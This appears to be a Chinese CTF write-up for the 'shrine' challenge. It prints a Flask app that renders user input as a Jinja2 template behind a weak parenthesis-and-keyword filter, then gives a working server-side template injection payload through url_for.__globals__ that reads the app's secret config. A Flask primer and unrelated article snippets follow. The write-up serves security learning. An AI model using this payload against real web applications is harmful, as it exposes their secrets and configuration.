6.攻防世界 shrine

ops/2025/2/7 11:45:03/

进入题目页面如下

python代码

进行代码审计

python"># 从 flask 库中导入 Flask 类
from flask import Flask
import os# 创建一个 Flask 应用实例
app = Flask(__name__)# 从环境变量中获取名为 'FLAG' 的值,并将其设置为应用配置中的 'FLAG' 项,同时从环境变量中移除该值
app.config['FLAG'] = os.environ.pop('FLAG')# 定义根路由 '/' 的处理函数
@app.route('/')
def index():# 打开当前文件(即包含此代码的 Python 文件),读取其内容并返回return open(__file__).read()# 定义 '/shrine/' 路由的处理函数,该路由接受一个参数 shrine
@app.route('/shrine/<path:shrine>')
def shrine(shrine):# 定义一个内部函数 safe_jinja,用于对传入的字符串进行处理def safe_jinja(s):# 移除字符串中的左括号 '(' 和右括号 ')'s = s.replace('(', '').replace(')', '')# 定义一个黑名单,包含 'config' 和 'self'blacklist = ['config', 'self']# 对于黑名单中的每个关键字,在字符串开头添加一个 Jinja2 语句,将该关键字设置为 Nonereturn ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s# 对传入的 shrine 参数调用 safe_jinja 函数进行处理,然后使用 Flask 的 render_template_string 函数渲染处理后的字符串return flask.render_template_string(safe_jinja(shrine))# 当该脚本作为主程序运行时
if __name__ == '__main__':# 以调试模式启动 Flask 应用app.run(debug=True)

代码将 FLAG 存储在环境变量中,并将其赋值给 Flask 应用的配置项 app.config['FLAG']。这意味着flag是一个敏感信息,如果能够访问应用的配置信息,就有可能获取到flag

/shrine/ 路由接受用户输入的 shrine 参数,并使用 render_template_string 函数渲染该参数。虽然代码中使用 safe_jinja 函数对输入进行了处理,移除了括号并将 config 和 self 设置为 None,但仍然存在 Jinja2 模板注入的风险。可以通过构造特殊的输入,绕过这些过滤,从而执行任意代码或访问敏感信息

safe_jinja 函数的过滤了括号、 config 和、self 等。可以尝试使用其他方法来绕过这些过滤,使用不同的变量名或利用 Jinja2 的其他特性

由于 config 和 self 被设置为 None,需要寻找其他方法来访问应用的配置信息。可以利用 Jinja2 的全局变量和属性查找机制来绕过过滤。

在 Jinja2 中,可以使用 url_for.__globals__ 来访问全局命名空间,进而找到 Flask 应用的实例。
{{url_for.__globals__['current_app'].config['FLAG']}}

这个输入利用了 url_for 函数的全局命名空间,通过 current_app 访问当前的 Flask 应用实例,然后获取其配置中的flag值。

将上述恶意输入作为 shrine 参数的值,发送到 /shrine/ 路由

payload

/shrine/{ {url_for.__globals__['current_app'].config['FLAG']}}

得到flag

flag{shrine_is_good_ssti}


Flask

是一个用 Python 编写的轻量级 Web 框架

路由系统:Flask 使用装饰器来定义路由,将 URL 路径与处理函数绑定。

视图函数:处理特定路由请求的函数,接受请求并返回响应。可以返回字符串、HTML 页面、JSON 数据等。

模板引擎:Flask 默认使用 Jinja2 作为模板引擎,允许在 HTML 模板中嵌入 Python 代码,实现动态内容展示。

核心对象

Flask 应用对象:整个 Flask 应用的核心,通过实例化Flask类创建。它负责管理应用的配置、路由、视图函数等。

请求对象:在处理请求时,Flask 会将客户端发送的请求信息封装在request对象中,包含请求方法、参数、头部信息等。

响应对象:视图函数返回的内容会被转换为response对象,发送给客户端。可以设置响应的状态码、头部信息等。

应用配置

配置参数:可以通过app.config对象来设置应用的各种配置参数,如数据库连接字符串、密钥等。

环境配置:可以根据不同的环境(开发、测试、生产)使用不同的配置文件,通过设置环境变量来切换配置。

请求处理

请求方法:Flask 支持多种 HTTP 请求方法,如 GET、POST、PUT、DELETE 等。可以在路由装饰器中通过methods参数指定视图函数接受的请求方法。

请求参数:可以通过request.args获取 GET 请求中的查询参数,通过request.form获取 POST 请求中的表单数据。


http://www.ppmy.cn/ops/156424.html

相关文章

基于WiFi的智能照明控制系统的设计与实现(论文+源码)

1系统方案设计 本设计智能照明控制系统&#xff0c;结合STM32F103单片机、光照检测模块、显示模块、按键模块、太阳能板、LED灯模块、WIFI模块等器件构成整个系统&#xff0c;在功能上可以实现光照强度检测&#xff0c;并且在自动模式下可以自动调节照明亮度&#xff0c;在手动…

前缀和算法详解:快速求解区间和的利器(含C++板子)

前缀和算法详解&#xff1a;快速求解区间和的利器 引言 在算法和数据处理中&#xff0c;区间求和是常见的基础操作。传统暴力解法每次查询需要遍历区间元素&#xff0c;当面对海量查询时效率极低。本文将介绍一种名为前缀和的高效算法&#xff0c;它能将区间求和的时间复杂度…

ASP.NET Core中Filter与Middleware的区别

中间件是ASP.NET Core这个基础提供的功能&#xff0c;而Filter是ASP.NET Core MVC中提供的功能。ASP.NET Core MVC是由MVC中间件提供的框架&#xff0c;而Filter属于MVC中间件提供的功能。 区别 中间件可以处理所有的请求&#xff0c;而Filter只能处理对控制器的请求&#x…

H3CIE-RS+面试——OSPF(倒计时第40天)

以下内容均为博主自己根据华三官网ppt整理的笔记,仅供参考,如有错误,轻喷 OSPF(开放最短路径优先) OSPF协议基本原理 ospf协议特点 基于链路状态的内部网关协议没有路由跳数的限制采用组播通告邻居路由发生变化 组播地址224.0.0.5,所有运行了OSPF的路由器都会监听该地址…

构建高效Facebook广告矩阵:精准营销与广告投放的全新策略

随着社交媒体广告成为企业营销不可或缺的一部分&#xff0c;Facebook作为全球最大的社交平台之一&#xff0c;已成为企业营销的重要阵地。在Facebook上成功的广告投放&#xff0c;往往不只是依赖于单一广告&#xff0c;而是通过构建一个精准的广告矩阵来提升品牌曝光、增强用户…

前端学习-tab栏切换改造项目(三十一)

目录 前言 监听代码 思路 代码 事件委托代码 思路 代码 总结 前言 星垂平野阔&#xff0c;月涌大江流 监听代码 思路 等待DOM加载完成 获取所有标签 为每个标签添加鼠标悬停事件监听器 定义showTab函数&#xff1a; 接收一个索引参数index&#xff0c;用于标识当前悬停…

嵌入式经典面试题之操作系统(一)

文章目录 1 请你说说常用的Linux命令有哪些&#xff1f;2 在linux中如何创建一个新的目录&#xff1f;3 Linux中查看进程运行状态的指令、tar解压文件的参数。4 在linux中&#xff0c;文件权限如何修改&#xff1f;5 怎样以root权限运行某个程序&#xff1f;6 在linux里如何查看…

算法设计与分析三级项目--管道铺设系统

摘 要 该项目使用c算法逻辑&#xff0c;开发环境为VS2022&#xff0c;旨在通过Prim算法优化建筑物间的连接路径&#xff0c;以支持管线铺设规划。可以读取文本文件中的建筑物名称和距离的信息&#xff0c;并计算出建筑物之间的最短连接路径和总路径长度&#xff0c;同时以利用…